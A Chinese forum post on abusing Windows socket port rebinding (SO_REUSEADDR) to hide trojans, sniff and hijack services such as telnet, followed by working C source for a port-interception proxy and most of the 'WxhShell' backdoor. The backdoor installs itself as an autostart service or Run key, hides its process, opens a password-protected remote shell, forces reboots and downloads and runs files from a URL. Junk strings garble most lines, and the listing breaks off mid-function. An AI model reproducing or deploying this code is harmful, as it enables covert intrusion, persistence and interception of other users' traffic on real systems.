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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nkTpUbS'f?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AS? ESDC  
2>+(OL4l  
  saddr.sin_family = AF_INET; `G0GWh)`x  
]:_s7v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8Z[YcLy"({  
`WRM7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $s.:H4:I  
h'm-]v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;vuqI5k  
,$A'Y  
  这意味着什么?意味着可以进行如下的攻击: {a9( Qi  
' Ih f|;r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ='G-wX&k  
3LW_qX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0aM&+j\q}  
^I y'G44  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6 @A'N(I=O  
Mv?$zV"`#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w Sd|-e  
;Y9-0W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kVe4#LT  
#UesXv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  ,7h0y  
j[Q9_0R~lR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bGtS! 'I  
6Q*Zy[=  
  #include *YO^+]nmY  
  #include sD ,=_q@  
  #include -\[H>)z]RB  
  #include    QCAoL.v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   aDZ,9}  
  int main() OaeX:r+&Q  
  { AEd]nVV Q  
  WORD wVersionRequested; ?RQ_LA;  
  DWORD ret; |5TzRz  
  WSADATA wsaData; NpLZ ,|H  
  BOOL val; G nPrwDB  
  SOCKADDR_IN saddr; "K c/Cs2[  
  SOCKADDR_IN scaddr; Ygq;jX  
  int err; s C>Oyh:%!  
  SOCKET s; lx\9Y8  
  SOCKET sc; q5xF~SQGw2  
  int caddsize; Us2IeR  
  HANDLE mt; >r\q6f#J4  
  DWORD tid;   '4ip~>3?w  
  wVersionRequested = MAKEWORD( 2, 2 ); .L@gq/x)  
  err = WSAStartup( wVersionRequested, &wsaData ); #1De#uZ  
  if ( err != 0 ) { giYlLJA*}  
  printf("error!WSAStartup failed!\n"); Y?v{V>;*A  
  return -1; 8AQ__&nT  
  } wQ9?Z.-$  
  saddr.sin_family = AF_INET; H@!]5 <:9  
   6^e}^~|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r#'ug^^k$X  
IhjZ{oV/@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); XY^]nm-{I  
  saddr.sin_port = htons(23);  35%\"Y?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )_olJCdaP^  
  { BIh^b?:zU  
  printf("error!socket failed!\n"); Mz6PH)e;  
  return -1; $W]}m"l  
  } ")YD~ZA%)  
  val = TRUE; = 6'Fm$R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6,cJ3~!48  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |/;;uK,y  
  { p1N3AhXY  
  printf("error!setsockopt failed!\n"); bRD-[)  
  return -1; )uu(I5St  
  } +L|x^ B3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Nsn~mY%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cq0-D d9^&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ryNe=9p  
&u2H^ j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x n=#4:f  
  { %uw7sGz\  
  ret=GetLastError(); &WNIL13DK  
  printf("error!bind failed!\n"); UvR.?js(O  
  return -1; sBk|KG  
  } 7 !dj&?  
  listen(s,2); m6uFmU*<M}  
  while(1) *#9?9SYSk  
  { UC_o;  
  caddsize = sizeof(scaddr); Ggry,3X3  
  //接受连接请求 =P%?{7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;pj,U!{%s\  
  if(sc!=INVALID_SOCKET) -}u1ZEND  
  { " GY3sam  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )FN\jo!!.  
  if(mt==NULL) z HT#bP:o  
  { 2<9&OL  
  printf("Thread Creat Failed!\n"); Z!-V&H.  
  break; d$^ @$E2f  
  } y* :C~  
  } V|G*9^Y  
  CloseHandle(mt); 3rBID  
  } qP0UcG  
  closesocket(s); 22'Ra[  
  WSACleanup(); C8W_f( i~  
  return 0; xXlx}C  
  }   `S+n,,l  
  DWORD WINAPI ClientThread(LPVOID lpParam) U(gYx@   
  { (mplo|>  
  SOCKET ss = (SOCKET)lpParam; ~O~iP8T  
  SOCKET sc; : { iK 5  
  unsigned char buf[4096]; zZ,"HY=jN  
  SOCKADDR_IN saddr; ++n_$Qug  
  long num; 0avtfQ +f  
  DWORD val; w75Ro6y  
  DWORD ret; PeIKx$$Kl{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IrUoAQ2xpG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V?)YQ B  
  saddr.sin_family = AF_INET; aJ@lT&.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fr'DV/T  
  saddr.sin_port = htons(23); rJh$>V+ '  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d_!}9  
  { zm8k,e +5-  
  printf("error!socket failed!\n"); ;d<O/y,:4  
  return -1; 5=\^DeM@ H  
  } V-3;7  
  val = 100; Cp+tcrd_s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0{ _6le]  
  { 'P*OzZ4>$  
  ret = GetLastError(); c/^l2CJ0  
  return -1; 4 |bu= T  
  } fR?'HsQg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %}JSR y  
  { O0;mXH  
  ret = GetLastError(); |qVM`,%L  
  return -1; =KAN|5yn  
  } K4 -_a{)/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (|#%omLL  
  { cc3/XBo  
  printf("error!socket connect failed!\n"); w/:ibG@  
  closesocket(sc); [)?9|yY"`  
  closesocket(ss); J:J/AgJuH  
  return -1; zJ$U5r/u  
  } <,Pl31g^  
  while(1) l[i1,4  
  { %g^:0me`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }t:* w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1:Ff#Eq,s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5{WvV%  
  num = recv(ss,buf,4096,0); EI)2 c.A  
  if(num>0) 2'@D0L  
  send(sc,buf,num,0); nBLb1T  
  else if(num==0) Q~/=p>=uu  
  break; =J"c'Z>.  
  num = recv(sc,buf,4096,0); aK_k'4YTm  
  if(num>0) n1aOpz6`  
  send(ss,buf,num,0); dd6%3L{cn  
  else if(num==0) | #b/EA9  
  break; qQIX:HWDKZ  
  } sgnc$x"  
  closesocket(ss); @^J>. g  
  closesocket(sc); nN^lY=3  
  return 0 ; unNN&m#@  
  } =**Q\ Sl  
%%#bTyF  
<Ql2+ev6  
========================================================== ZmycK:f  
Jz*A!Li  
下边附上一个代码,,WXhSHELL cj^hwtx   
xj9xUun  
========================================================== *K& $9fah  
11 k}Ly  
#include "stdafx.h" z_=V6MDM  
)| |CU]"b?  
#include <stdio.h> ?*[35XUd  
#include <string.h> g7lPQ_A*  
#include <windows.h>  4CtWEq  
#include <winsock2.h> yu@Pd3  
#include <winsvc.h> `~_H\_JpO  
#include <urlmon.h> ~]`U)Aw  
d(:I~m  
#pragma comment (lib, "Ws2_32.lib") ?G<?: /CU  
#pragma comment (lib, "urlmon.lib") B&BL<X r  
rVRv*W  
#define MAX_USER   100 // 最大客户端连接数 d'H gek{T  
#define BUF_SOCK   200 // sock buffer |DPq~l(d  
#define KEY_BUFF   255 // 输入 buffer <>Ha<4A =E  
=(Y0wZP|  
#define REBOOT     0   // 重启 jW4>WDN:  
#define SHUTDOWN   1   // 关机 5y] %Cu1.u  
*=!r|UdB.  
#define DEF_PORT   5000 // 监听端口 ]g }5p4*&  
)=bW\=[8  
#define REG_LEN     16   // 注册表键长度  (^B=>  
#define SVC_LEN     80   // NT服务名长度 ]rNxvFN*j  
lgD %  
// 从dll定义API (9=E5n6o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vP+qwvpGr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HV7f%U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T\ukJ25!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +JM@kdE5b  
"!fwIEG  
// wxhshell配置信息 Ed{sC[j=  
struct WSCFG { C rl:v8  
  int ws_port;         // 监听端口 `Q/\w1-Q  
  char ws_passstr[REG_LEN]; // 口令 7Ka4?@bQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6#.9T;&  
  char ws_regname[REG_LEN]; // 注册表键名 FQE(qltf,  
  char ws_svcname[REG_LEN]; // 服务名 cct/mX2&~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .6I'V3:Kg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :h/v"2uDN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eAqpP>9n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hy@b/Y![M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M;NIcM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?GtI.flV  
NB86+2stu  
}; Y"^.6  
ZR"qrCSw`  
// default Wxhshell configuration sY?wQ:  
struct WSCFG wscfg={DEF_PORT, rx@i .+  
    "xuhuanlingzhe", !, rF(pz  
    1, U[OUIXUi  
    "Wxhshell", q}0I`$MU  
    "Wxhshell", B-"F67:  
            "WxhShell Service", +(z[8BJl  
    "Wrsky Windows CmdShell Service", ,U+>Q!$`\^  
    "Please Input Your Password: ", J, +/<Y!  
  1, ~O!E&~  
  "http://www.wrsky.com/wxhshell.exe", -v|lM8  
  "Wxhshell.exe" k,; (`L  
    }; rW_cLdh]#  
VVpJ +  
// 消息定义模块 M'oZK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \3%3=:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S v#,L8f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MZh?MaBz06  
char *msg_ws_ext="\n\rExit."; SQ]M"&\{y  
char *msg_ws_end="\n\rQuit."; i70\`6*;B  
char *msg_ws_boot="\n\rReboot..."; h(3-/4  
char *msg_ws_poff="\n\rShutdown..."; 4L4u<  
char *msg_ws_down="\n\rSave to "; lz1cLl m  
 -)KNsW  
char *msg_ws_err="\n\rErr!"; h|i b*%P_  
char *msg_ws_ok="\n\rOK!"; 1jAuW~  
2R^Eea  
char ExeFile[MAX_PATH]; 2+p XtP@O  
int nUser = 0; Fpwhyls  
HANDLE handles[MAX_USER]; rY1jC\  
int OsIsNt; Ke]'RfO\  
,^<39ng  
SERVICE_STATUS       serviceStatus; ^gNbcWc7CU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +Jn\`4/J:  
0ia-D`^me  
// 函数声明 @+)T"5_Y[  
int Install(void); ]1|7V|N6  
int Uninstall(void); \q24E3zS&  
int DownloadFile(char *sURL, SOCKET wsh); rSm#/)4A  
int Boot(int flag); gQ%mVJB{(  
void HideProc(void); /11CC \  
int GetOsVer(void); q|IU+r:! 3  
int Wxhshell(SOCKET wsl); Goy[P2m  
void TalkWithClient(void *cs); Tu,nX'q]m  
int CmdShell(SOCKET sock); V`YmGo  
int StartFromService(void); 'aEN(Mdz1e  
int StartWxhshell(LPSTR lpCmdLine); \_i22/Et  
x&m(h1h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $(08!U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mv`b3 $  
E @Rb+8},"  
// 数据结构和表定义 U!RIeC  
SERVICE_TABLE_ENTRY DispatchTable[] = 5lM 3In@  
{ d-W*`:Q  
{wscfg.ws_svcname, NTServiceMain}, /[ Rp~YzW  
{NULL, NULL} gp H@F X  
}; H`Zg-j`  
Bsd~_y}8  
// 自我安装 %.Kr`#lCr  
int Install(void) ]@}hyM[D;  
{ TC@F*B;  
  char svExeFile[MAX_PATH]; sEZ2DnDI  
  HKEY key; |?MD>Pez  
  strcpy(svExeFile,ExeFile); #SjCKQ~  
De>,i%`Q,D  
// 如果是win9x系统,修改注册表设为自启动 "GJ.`Hj  
if(!OsIsNt) { YB^m!A),I[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6lkCLH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "-AFWWKtx  
  RegCloseKey(key); 1|>bG#|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y`6<:8[?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gc5mR9pV   
  RegCloseKey(key); g?Rq .py]!  
  return 0; YhooD,[.  
    }  p1&=D%/  
  } ; vWJOvM2  
} {~(XO@;b  
else { fjuPGg~  
*#@{&Q(Qh  
// 如果是NT以上系统,安装为系统服务 c|(Q[=   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $YJi]:3&  
if (schSCManager!=0) <;jg/  
{ l <Z7bo  
  SC_HANDLE schService = CreateService r&:yZN  
  ( 7qWa>fX  
  schSCManager, /#L4ec-'  
  wscfg.ws_svcname, - ku8n%u  
  wscfg.ws_svcdisp, 9VIAOky-  
  SERVICE_ALL_ACCESS, 2Qc_TgWF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qDfhR`1k  
  SERVICE_AUTO_START, Z*v`kl  
  SERVICE_ERROR_NORMAL, <$#^)]Ts  
  svExeFile, TQ[J,  
  NULL, o4LVG  
  NULL, C8 }=fa3u  
  NULL, Y;dqrA>@  
  NULL, ]~ S zb  
  NULL )]E?~$,  
  ); rg]z  
  if (schService!=0) - &)  
  { ,zJ:a>v  
  CloseServiceHandle(schService); XB:E<I'q!3  
  CloseServiceHandle(schSCManager); 4s"x}c">F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 89P7iSV#*  
  strcat(svExeFile,wscfg.ws_svcname); 0 U#m7j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~4] J'E >  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <Skf n`).  
  RegCloseKey(key); c{x:'@%/s'  
  return 0; ld5+/"$  
    } 60D6UW  
  } &b-&0 rTqz  
  CloseServiceHandle(schSCManager); mT;   
} zU4*FXt  
} +HD2]~{EkL  
U> <$p{ )  
return 1; B&EUvY '  
} ?f!&M  
e. E$Ej]w  
// 自我卸载 Kv#Q$$)r  
int Uninstall(void) `nc=@" 1  
{ fN9uSnu  
  HKEY key; TIF  =fQ  
e#WASHZN  
if(!OsIsNt) { OL@$RTh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {"rL3Lk  
  RegDeleteValue(key,wscfg.ws_regname); @f,/K1k  
  RegCloseKey(key); )U8=-_m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZK<c(,oZ^  
  RegDeleteValue(key,wscfg.ws_regname); 5 (q4o`  
  RegCloseKey(key); IL?"g{w  
  return 0; *fLVzYpo  
  } >yLdrf  
} ,WAJ& '^  
} Le,;)Nd  
else { SR<W3a\  
3 [O+wVv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f/m0,EERk  
if (schSCManager!=0) uw@-.N^  
{ r*FAUb`bG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \(zUI  
  if (schService!=0) ':f,RG  
  { P"[{s^mb  
  if(DeleteService(schService)!=0) {  KcpQ[6\  
  CloseServiceHandle(schService); S&Hgr_/}c  
  CloseServiceHandle(schSCManager); gTd r  
  return 0; h66mzV:`  
  } {Z>Mnw"R  
  CloseServiceHandle(schService); \#C]|\  
  } i7&ay\+@  
  CloseServiceHandle(schSCManager); DJ1!Xuu  
} /7ykmW  
} z.tN<P7  
ke2M&TV  
return 1; UunZ/A$]m  
} w ,0OO f  
3k/X;:,.  
// 从指定url下载文件 hdH3Jb_hl(  
int DownloadFile(char *sURL, SOCKET wsh) FgR9$ is+  
{ FB3}M)G>M  
  HRESULT hr; Q0g^%  
char seps[]= "/"; {.Brh"yC  
char *token; I:;umyRH  
char *file; ? 0:=+%.  
char myURL[MAX_PATH]; L3s"L.G  
char myFILE[MAX_PATH]; d9l2mJzW  
bu=RU  
strcpy(myURL,sURL); D&DbxTi  
  token=strtok(myURL,seps); `1lGAKv  
  while(token!=NULL) uu/2C \n}  
  { Ve xxdg  
    file=token; yMpZ-b$*~  
  token=strtok(NULL,seps); \86NV="U  
  } |:L}/onK  
v"_E0 3!  
GetCurrentDirectory(MAX_PATH,myFILE); <2N=cH'  
strcat(myFILE, "\\"); z]&?}o  
strcat(myFILE, file); g#G ]}8C  
  send(wsh,myFILE,strlen(myFILE),0); ezS@`_pR;  
send(wsh,"...",3,0); N).'>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J"XZnb)E=  
  if(hr==S_OK) k/)h@K8@  
return 0; N_l_^yD  
else 5!Ovd O}g  
return 1; YU\k D  
$KS!vS7  
} qTG i9OP6/  
gN]\#s@[  
// 系统电源模块 ~9@83Cs2  
int Boot(int flag) HK VtO%&  
{ VuD{t%Jb  
  HANDLE hToken; :4r*Jju<V  
  TOKEN_PRIVILEGES tkp; AP ]`'C  
P#[?Kfi  
  if(OsIsNt) { >.uIp4@(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wVc ^l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y<c7RK]  
    tkp.PrivilegeCount = 1; 3`Xzp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dq0!.gBT2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /<"ok;Pu7  
if(flag==REBOOT) { K{ntl-D&y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /. >%IcK  
  return 0; thE9fr/  
} d)d0,fi?-  
else { v[)8 1uY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TYCjVxfu$  
  return 0; KxWm63"  
} -&lD0p>*g  
  } }L=Qp=4  
  else { bGxHzzU}  
if(flag==REBOOT) { D&qJ@PR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oqzWL~  
  return 0; bV+2U  
} aj<r=  
else { e%IbM E]x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jsP+,brO  
  return 0; cM]ZYi  
} m|v$F,Lv  
} +zEyCx=8H  
hS&.-5v  
return 1; yR"mRy1  
} lNTbd"}$:  
5qFHy[I A  
// win9x进程隐藏模块 ZH~Wn#Wp  
void HideProc(void) lbC,*U^  
{ Vlge*4q  
Z*=$n_ G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l(\F2_,2W  
  if ( hKernel != NULL ) ?-tNRIPW@p  
  { D  ,[yx='  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /QQjb4S}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R iFUa $  
    FreeLibrary(hKernel); T`9nY!  
  } 6h0}ZM  
%pqB/  
return; Zay%QNsb  
} &y7xL-xP  
+k[w)7Q  
// 获取操作系统版本 ls~9qkAyLx  
int GetOsVer(void) #)3 B  
{ "2p\/VfA  
  OSVERSIONINFO winfo; ~YByyJG   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dnh~An 9  
  GetVersionEx(&winfo); fB]NEx|o~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^x_$%8  
  return 1; E'NS$,h  
  else 2jxIr-a1G  
  return 0; }(,{^".[}  
} h\Q@zR*0a  
e3?z^AUXm  
// 客户端句柄模块 wuM'M<J@  
int Wxhshell(SOCKET wsl) RE4WD9n  
{ Ty#sY'%  
  SOCKET wsh; WdB\n/BWB  
  struct sockaddr_in client; Ey=}bBx  
  DWORD myID; X~SNkM  
"oyBF CW  
  while(nUser<MAX_USER) \xcf<y3_  
{ KP7 {  
  int nSize=sizeof(client); wuW{ 2+)B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8H`L8: CM  
  if(wsh==INVALID_SOCKET) return 1; 'sE["eC  
 +cKOIMu9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (/s~L*gF{  
if(handles[nUser]==0) be$']}cP  
  closesocket(wsh); 9A/bA|$  
else 9%bErMHL  
  nUser++; CxSh.$l  
  } /)`]p1c1%w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L\t_zf_0  
K}2G4*8S_G  
  return 0; yvnDS"0<  
} $PAAmaigi  
!Ce!D0Tx  
// 关闭 socket .2s^8gO  
void CloseIt(SOCKET wsh) *2rc Y  
{ tGzp= PyA  
closesocket(wsh); ayQeT  
nUser--; _O ;4>  
ExitThread(0); CGkx_E]  
} B^/k`h6J  
o\; hF3   
// 客户端请求句柄 U<E]c 4*  
void TalkWithClient(void *cs) d={o|Mf  
{ YBR)S_C$_  
Z`U+ a  
  SOCKET wsh=(SOCKET)cs; Tu5p`p3-j  
  char pwd[SVC_LEN]; ael] {'h]  
  char cmd[KEY_BUFF]; ZKq#PB/.  
char chr[1]; UEhFId  
int i,j; M{)&SNI*C  
j%Xa8$  
  while (nUser < MAX_USER) { "a3?m)  
H8=:LF  
if(wscfg.ws_passstr) { !l Egta[Ql  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F ^aD#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tku6X/LF  
  //ZeroMemory(pwd,KEY_BUFF); g"(@+\XZH"  
      i=0; =\oL'>q  
  while(i<SVC_LEN) { #dD0vYT&od  
~*9Ue@  
  // 设置超时 hJD3G |E  
  fd_set FdRead; o)]O  
  struct timeval TimeOut; B2'TRXIm1U  
  FD_ZERO(&FdRead); l2}X\N&q  
  FD_SET(wsh,&FdRead); |\/\FK]?]  
  TimeOut.tv_sec=8; =8%*Rrj^  
  TimeOut.tv_usec=0; 1N:~5S}s>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i]L=M 5^C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4nQ5zwiV  
V|[NL4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s@{~8cHgU  
  pwd=chr[0]; ^E:-Uy  
  if(chr[0]==0xd || chr[0]==0xa) { ByO?qft>u  
  pwd=0; m7C!}l]9  
  break; 3,X8 5`v^  
  } 2eA.04F  
  i++; 3D1y^I  
    } ts}OE  
GZKYRPg  
  // 如果是非法用户,关闭 socket 3vjOfr`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -A=3W3:C  
} "v( pluN|  
V aG Qre  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ICr.Gwe3_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6}!1a?X  
nMfR< %r  
while(1) { }6<5mq)%  
4*Gv0#dga  
  ZeroMemory(cmd,KEY_BUFF); 41s\^'^&  
v Y0ESc{  
      // 自动支持客户端 telnet标准   8DY:a['-d  
  j=0; pek=!nZ  
  while(j<KEY_BUFF) { &/ED.K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RqP_^tB  
  cmd[j]=chr[0]; F&m9G >r  
  if(chr[0]==0xa || chr[0]==0xd) { WSN^iDS  
  cmd[j]=0; 0NKgtH~+  
  break; sR[!6[AA  
  } )0ydSz`B  
  j++; *Uj;a.  
    } k0#s{<I]E  
h]+;"v6 /  
  // 下载文件 LHXR7Fjc  
  if(strstr(cmd,"http://")) { &5${k'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C"B'Dj  
  if(DownloadFile(cmd,wsh)) ,UNk]vd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rpDBKo  
  else E2YVl%.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y6Cm PxOQ  
  } oP%5ymL%J  
  else { 0"T/a1S7bl  
,+4T7 UR  
    switch(cmd[0]) { U]_WX(4 @  
  eEP{?F^I[  
  // 帮助 )KVr2y;RF  
  case '?': { 5J|S6x\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v'b%m8  
    break; N3aqNRwlk  
  } @ =~k[o  
  // 安装 .`5|NUhN  
  case 'i': { U B~ -$\.  
    if(Install()) 9__B!vw:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 79@CO6  
    else B{D4.!a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cL ~WDW/  
    break; -,T!/E  
    } V,0$mBYa  
  // 卸载 Wf"GA i  
  case 'r': { OKK Ko`RN  
    if(Uninstall()) sQkijo.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s-+-?$K  
    else C.ji]P#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H!u8+  
    break; [fV"tf;  
    } KK2YT/K$SG  
  // 显示 wxhshell 所在路径 !4=_l6kg~+  
  case 'p': { ^v'0\(H?P  
    char svExeFile[MAX_PATH]; G.~ Q2O#T  
    strcpy(svExeFile,"\n\r"); REE .8_  
      strcat(svExeFile,ExeFile); ( $2M"n  
        send(wsh,svExeFile,strlen(svExeFile),0); DuR9L'  
    break; j/=Tj'S?D  
    } *($,ay$&H  
  // 重启 |N% l at  
  case 'b': { F[yofR N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <!XunXh  
    if(Boot(REBOOT)) +6P[TqR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ab%I&B<b  
    else { v;9(FLtL  
    closesocket(wsh); B5vLV@>]  
    ExitThread(0); j~K(xf  
    } ;nQ=! .#Q  
    break; Z_xQ2uH$:  
    } n8=D zv0  
  // 关机 8IQ}%|lN  
